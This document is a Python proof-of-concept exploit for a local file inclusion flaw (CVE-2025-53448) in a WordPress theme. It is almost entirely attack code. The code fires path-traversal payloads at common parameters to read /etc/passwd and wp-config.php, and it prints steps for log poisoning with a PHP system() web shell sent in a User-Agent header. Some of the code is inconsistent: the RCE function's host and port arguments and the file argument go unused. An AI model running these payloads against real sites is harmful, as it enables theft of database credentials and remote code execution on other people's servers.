CVE-2025-53448

# CVE-2025-53448 PoC - Rally Theme Local File Inclusion # Target: WordPress site with Rally theme <= 1.1 import requests import argparse from urllib.parse import urlencode def test_lfi(target_url, filename): """ Test for Local File Inclusion vulnerability in Rally theme """ # Common LFI parameters in WordPress themes lfi_params = ['file', 'page', 'template', 'action', 'include', 'load'] # Files to read files_to_read = [ '../../../../../../../../etc/passwd', '../../../../../../../../wp-config.php', '../../../../../../../../windows/system32/drivers/etc/hosts' ] for param in lfi_params: for file_path in files_to_read: try: # Test LFI payload = {param: file_path} response = requests.get(target_url, params=payload, timeout=10) if 'root:' in response.text or 'DB_NAME' in response.text: print(f'[+] VULNERABLE! Parameter: {param}') print(f'[+] File: {file_path}') print(f'[+] Response snippet: {response.text[:500]}') return True except requests.exceptions.RequestException as e: print(f'[-] Error testing {param}: {e}') print('[-] No LFI vulnerability detected') return False def exploit_rce(target_url, param, lhost, lport): """ Attempt RCE via LFI + Log Poisoning / Session File """ # Method 1: PHP session file poisoning session_file = '/var/lib/php/sessions/sess_' + 'random_session_id' # Method 2: Apache log poisoning log_file = '../../../../../../../../var/log/apache2/access.log' print(f'[*] To achieve RCE, inject PHP code into logs first:') print(f'[*] curl -H "User-Agent: <?php system($_GET["cmd"]); ?>" {target_url}') print(f'[*] Then access: {target_url}?{param}={log_file}&cmd=whoami') if __name__ == '__main__': parser = argparse.ArgumentParser(description='CVE-2025-53448 PoC') parser.add_argument('-u', '--url', required=True, help='Target URL') parser.add_argument('-f', '--file', default='/etc/passwd', help='File to read') args = parser.parse_args() test_lfi(args.url, args.file)

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